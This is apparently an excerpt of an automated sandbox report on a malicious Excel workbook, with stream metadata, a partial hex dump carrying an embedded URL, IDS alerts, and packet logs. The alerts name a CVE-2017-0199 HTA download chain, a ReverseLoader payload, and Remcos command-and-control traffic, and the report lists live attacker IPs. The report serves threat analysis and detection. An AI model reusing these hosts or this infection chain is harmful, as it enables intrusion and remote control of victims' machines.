Data ASCII:	. . . . . j H ' . . . . . . . . . . . . . . > . . . y . . . K . : . . . h . t . t . p . s . : . / . / . j . k . t . c . . . p . r . o . / . 6 . n . D . b . 3 . Q . ? . & . s . o . y . = . h . o . r . r . i . b . l . e . & . p . e . l . i . c . a . n . = . i . c . k . y . & . b . e . n . d . = . t . r . i . t . e . & . w . o . r . k . b . e . n . c . h . = . i . c . k . y . & . b . a . t . t . i . n . g . = . p . e . n . i . t . e . n . t . & . c . o . p . - . o . u . t . . . . . , . Y P . ) . \\ & O M P
Data Raw:	01 00 00 02 9f 07 6a 48 27 15 1c 20 00 00 00 00 00 00 00 00 00 00 00 00 3e 01 00 00 e0 c9 ea 79 f9 ba ce 11 8c 82 00 aa 00 4b a9 0b 3a 01 00 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 6a 00 6b 00 74 00 63 00 2e 00 70 00 72 00 6f 00 2f 00 36 00 6e 00 44 00 62 00 33 00 51 00 3f 00 26 00 73 00 6f 00 79 00 3d 00 68 00 6f 00 72 00 72 00 69 00 62 00 6c 00 65 00 26 00 70 00 65 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 302605

General
Stream Path:	Workbook
CLSID:
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	302605
Entropy:	7.998543111675802
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . / . 6 . . . . . . . 9 X E 8 f 5 b Q . $ . z x 8 G . 4 ~ d 1 j R ? . . . . . . . . . . . \\ . p . t . q . _ . . s l . o . * X . * T 3 . ) b & O . D s r 0 N 7 8 z c G ! ! P M E 5 W U . . i { # ? V k * . . N i . ( * z % + . S I . P ; . B . . . a . . . . \\ . . . = . . . . ' . . . . & . . / . . * E K . . . k . . . . . . . . . % . . . . Q > . . . . . . ` = . . . ` . L m . t n . @ . . . [ . . . z " . . . 9 j . . . . ) . . . D . . . _ 1 . . . 7 Z T r . . R z . # Q . 1 . . . 4 .
Data Raw:	09 08 10 00 00 06 05 00 ab 1f cd 07 c1 00 01 00 06 04 00 00 2f 00 36 00 01 00 01 00 01 00 39 b4 58 45 a5 f9 be 9a 38 f6 66 35 62 51 c3 b6 c2 f7 9f ad 24 12 7a 87 78 38 f7 d1 d5 c1 ca 47 09 34 7e 64 81 ea 31 a0 6a 52 af 3f 9c c2 85 95 e1 00 02 00 b0 04 c1 00 02 00 dc eb e2 00 00 00 5c 00 70 00 74 c2 d1 83 f2 71 cf 13 5f 0b 1a 73 6c 0e 6f b8 b0 ab b6 93 b5 82 10 20 2a 58 0a 2a 94 54

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-12T21:56:20.370935+0100	2024449	ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl	1	192.168.2.22	49162	192.210.150.24	80	TCP
2024-12-12T21:56:20.371122+0100	2024197	ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199)	1	192.210.150.24	80	192.168.2.22	49162	TCP
2024-12-12T21:56:25.199572+0100	2024449	ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl	1	192.168.2.22	49164	192.210.150.24	80	TCP
2024-12-12T21:56:25.199964+0100	2024197	ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199)	1	192.210.150.24	80	192.168.2.22	49164	TCP
2024-12-12T21:56:31.966576+0100	2858795	ETPRO MALWARE ReverseLoader Payload Request (GET) M2	1	192.168.2.22	49165	192.210.150.24	80	TCP
2024-12-12T21:56:46.861797+0100	2024449	ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl	1	192.168.2.22	49171	192.210.150.24	80	TCP
2024-12-12T21:56:58.702544+0100	2841075	ETPRO MALWARE Terse Request to paste .ee - Possible Download	1	192.168.2.22	49173	188.114.97.6	443	TCP
2024-12-12T21:56:59.129443+0100	2020424	ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1	1	188.114.97.6	443	192.168.2.22	49173	TCP
2024-12-12T21:56:59.129443+0100	2020425	ET EXPLOIT_KIT ReverseLoader Base64 Payload Inbound M2	1	188.114.97.6	443	192.168.2.22	49173	TCP
2024-12-12T21:57:00.073584+0100	2858295	ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain)	1	188.114.97.6	443	192.168.2.22	49173	TCP
2024-12-12T21:57:02.576404+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.22	49175	107.173.143.10	14646	TCP
2024-12-12T21:57:03.040956+0100	2049038	ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2	1	151.101.129.137	443	192.168.2.22	49174	TCP
2024-12-12T21:57:06.014903+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.22	49176	107.173.143.10	14646	TCP
2024-12-12T21:57:09.448448+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.22	49177	107.173.143.10	14646	TCP
2024-12-12T21:57:12.694845+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.22	49178	107.173.143.10	14646	TCP
2024-12-12T21:57:16.011490+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.22	49179	107.173.143.10	14646	TCP
2024-12-12T21:57:19.213986+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.22	49180	107.173.143.10	14646	TCP
2024-12-12T21:57:22.451777+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.22	49181	107.173.143.10	14646	TCP
2024-12-12T21:57:25.855360+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.22	49182	107.173.143.10	14646	TCP
2024-12-12T21:57:29.293367+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.22	49183	107.173.143.10	14646	TCP
2024-12-12T21:57:32.974192+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.22	49184	107.173.143.10	14646	TCP
2024-12-12T21:57:36.263144+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.22	49185	107.173.143.10	14646	TCP
2024-12-12T21:57:39.484193+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.22	49186	107.173.143.10	14646	TCP
2024-12-12T21:57:42.776750+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.22	49187	107.173.143.10	14646	TCP
2024-12-12T21:57:46.230300+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.22	49188	107.173.143.10	14646	TCP
2024-12-12T21:57:49.434258+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.22	49189	107.173.143.10	14646	TCP
2024-12-12T21:57:52.766637+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.22	49190	107.173.143.10	14646	TCP
2024-12-12T21:57:56.278445+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.22	49191	107.173.143.10	14646	TCP
2024-12-12T21:57:59.906262+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.22	49192	107.173.143.10	14646	TCP
2024-12-12T21:58:03.141542+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.22	49193	107.173.143.10	14646	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 12, 2024 21:56:16.980122089 CET	49161	443	192.168.2.22	172.67.163.184
Dec 12, 2024 21:56:16.980217934 CET	443	49161	172.67.163.184	192.168.2.22
Dec 12, 2024 21:56:16.980294943 CET	49161	443	192.168.2.22	172.67.163.184
Dec 12, 2024 21:56:17.183255911 CET	49161	443	192.168.2.22	172.67.163.184
Dec 12, 2024 21:56:17.183339119 CET	443	49161	172.67.163.184	192.168.2.22
Dec 12, 2024 21:56:18.423175097 CET	443	49161	172.67.163.184	192.168.2.22
Dec 12, 2024 21:56:18.423688889 CET	49161	443	192.168.2.22	172.67.163.184
Dec 12, 2024 21:56:18.430613041 CET	49161	443	192.168.2.22	172.67.163.184
Dec 12, 2024 21:56:18.430665016 CET	443	49161	172.67.163.184	192.168.2.22
Dec 12, 2024 21:56:18.431204081 CET	443	49161	172.67.163.184	192.168.2.22
Dec 12, 2024 21:56:18.431265116 CET	49161	443	192.168.2.22	172.67.163.184
Dec 12, 2024 21:56:18.505244970 CET	49161	443	192.168.2.22	172.67.163.184
Dec 12, 2024 21:56:18.551337004 CET	443	49161	172.67.163.184	192.168.2.22
Dec 12, 2024 21:56:19.125196934 CET	443	49161	172.67.163.184	192.168.2.22
Dec 12, 2024 21:56:19.125509977 CET	443	49161	172.67.163.184	192.168.2.22
Dec 12, 2024 21:56:19.125669956 CET	49161	443	192.168.2.22	172.67.163.184
Dec 12, 2024 21:56:19.125670910 CET	49161	443	192.168.2.22	172.67.163.184
Dec 12, 2024 21:56:19.127130985 CET	49161	443	192.168.2.22	172.67.163.184
Dec 12, 2024 21:56:19.127170086 CET	443	49161	172.67.163.184	192.168.2.22
Dec 12, 2024 21:56:19.140554905 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:19.260699987 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:19.260786057 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:19.261003971 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:19.381109953 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.370709896 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.370754004 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.370769978 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.370934963 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.370934963 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.371121883 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.371139050 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.371162891 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.371181011 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.371488094 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.371527910 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.371546030 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.371561050 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.371577024 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.371583939 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.371599913 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.371619940 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.372320890 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.372364998 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.376713037 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.490737915 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.490798950 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.490852118 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.490890980 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.563251019 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.563276052 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.563380003 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.567164898 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.567230940 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.567280054 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.567327976 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.575556040 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.575613022 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.575663090 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.575705051 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.584007978 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.584053040 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.584170103 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.584212065 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.592406034 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.592453957 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.592513084 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.592557907 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.600951910 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.601006985 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.601177931 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.601224899 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.610688925 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.610826015 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.610869884 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.610871077 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.619460106 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.619509935 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.619618893 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.619618893 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.627912998 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.628074884 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.628151894 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.628369093 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.635729074 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.635795116 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.635953903 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.636008978 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.642570972 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.642767906 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.642846107 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.643044949 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.683180094 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.683269978 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.755158901 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.755158901 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.755625963 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.755666018 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.755811930 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.755812883 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.759098053 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.759247065 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.759335041 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.759388924 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.766901970 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.766987085 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.767086029 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.767086029 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.774106979 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.774308920 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.774312019 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.774476051 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.781697989 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.781860113 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.781980038 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.782216072 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.786799908 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.786906958 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.787008047 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.787075043 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.791589975 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.791656017 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.791821957 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.791996956 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.796449900 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.796606064 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.796679020 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.796730995 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.801318884 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.801479101 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.801556110 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.801615000 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.806134939 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.806339979 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.806375027 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.806421041 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.810976028 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.811042070 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.811084986 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.811130047 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.815819979 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.815880060 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.816087008 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.816133976 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.819820881 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.819879055 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.819998026 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.820043087 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.823863983 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.823928118 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.824023962 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.824080944 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.827876091 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.827939987 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.828042030 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.828090906 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.831907988 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.832009077 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.832082987 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.832082987 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:20.835999966 CET	80	49162	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:20.836169004 CET	49162	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:21.700192928 CET	49163	443	192.168.2.22	104.21.34.183
Dec 12, 2024 21:56:21.700297117 CET	443	49163	104.21.34.183	192.168.2.22
Dec 12, 2024 21:56:21.700371981 CET	49163	443	192.168.2.22	104.21.34.183
Dec 12, 2024 21:56:22.001826048 CET	49163	443	192.168.2.22	104.21.34.183
Dec 12, 2024 21:56:22.001867056 CET	443	49163	104.21.34.183	192.168.2.22
Dec 12, 2024 21:56:23.219574928 CET	443	49163	104.21.34.183	192.168.2.22
Dec 12, 2024 21:56:23.219647884 CET	49163	443	192.168.2.22	104.21.34.183
Dec 12, 2024 21:56:23.223758936 CET	49163	443	192.168.2.22	104.21.34.183
Dec 12, 2024 21:56:23.223773003 CET	443	49163	104.21.34.183	192.168.2.22
Dec 12, 2024 21:56:23.224351883 CET	443	49163	104.21.34.183	192.168.2.22
Dec 12, 2024 21:56:23.224397898 CET	49163	443	192.168.2.22	104.21.34.183
Dec 12, 2024 21:56:23.285942078 CET	49163	443	192.168.2.22	104.21.34.183
Dec 12, 2024 21:56:23.327349901 CET	443	49163	104.21.34.183	192.168.2.22
Dec 12, 2024 21:56:23.947706938 CET	443	49163	104.21.34.183	192.168.2.22
Dec 12, 2024 21:56:23.947849989 CET	49163	443	192.168.2.22	104.21.34.183
Dec 12, 2024 21:56:23.947954893 CET	443	49163	104.21.34.183	192.168.2.22
Dec 12, 2024 21:56:23.948009968 CET	49163	443	192.168.2.22	104.21.34.183
Dec 12, 2024 21:56:23.948039055 CET	443	49163	104.21.34.183	192.168.2.22
Dec 12, 2024 21:56:23.948092937 CET	49163	443	192.168.2.22	104.21.34.183
Dec 12, 2024 21:56:23.948106050 CET	443	49163	104.21.34.183	192.168.2.22
Dec 12, 2024 21:56:23.948152065 CET	443	49163	104.21.34.183	192.168.2.22
Dec 12, 2024 21:56:23.948158979 CET	49163	443	192.168.2.22	104.21.34.183
Dec 12, 2024 21:56:23.948218107 CET	49163	443	192.168.2.22	104.21.34.183
Dec 12, 2024 21:56:23.948887110 CET	49163	443	192.168.2.22	104.21.34.183
Dec 12, 2024 21:56:23.948925018 CET	443	49163	104.21.34.183	192.168.2.22
Dec 12, 2024 21:56:23.948950052 CET	49163	443	192.168.2.22	104.21.34.183
Dec 12, 2024 21:56:23.948987961 CET	49163	443	192.168.2.22	104.21.34.183
Dec 12, 2024 21:56:23.962848902 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:24.082895994 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:24.083147049 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:24.083247900 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:24.203104019 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.199204922 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.199268103 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.199304104 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.199374914 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.199413061 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.199446917 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.199484110 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.199572086 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.199573040 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.199573040 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.199964046 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.200025082 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.200062990 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.200269938 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.200269938 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.200269938 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.206032038 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.320254087 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.320302010 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.320319891 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.320403099 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.324167013 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.324229002 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.390582085 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.390625954 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.390933990 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.394691944 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.394890070 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.394910097 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.394999027 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.403114080 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.403331995 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.406094074 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.406204939 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.406269073 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.406269073 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.414536953 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.414654970 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.414700031 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.414700031 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.422928095 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.423072100 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.423124075 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.423274994 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.431364059 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.431498051 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.431535006 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.431535959 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.439779997 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.439851046 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.439959049 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.439959049 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.448199987 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.448286057 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.448312044 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.448359966 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.456684113 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.456754923 CET	49164	80	192.168.2.22	192.210.150.24
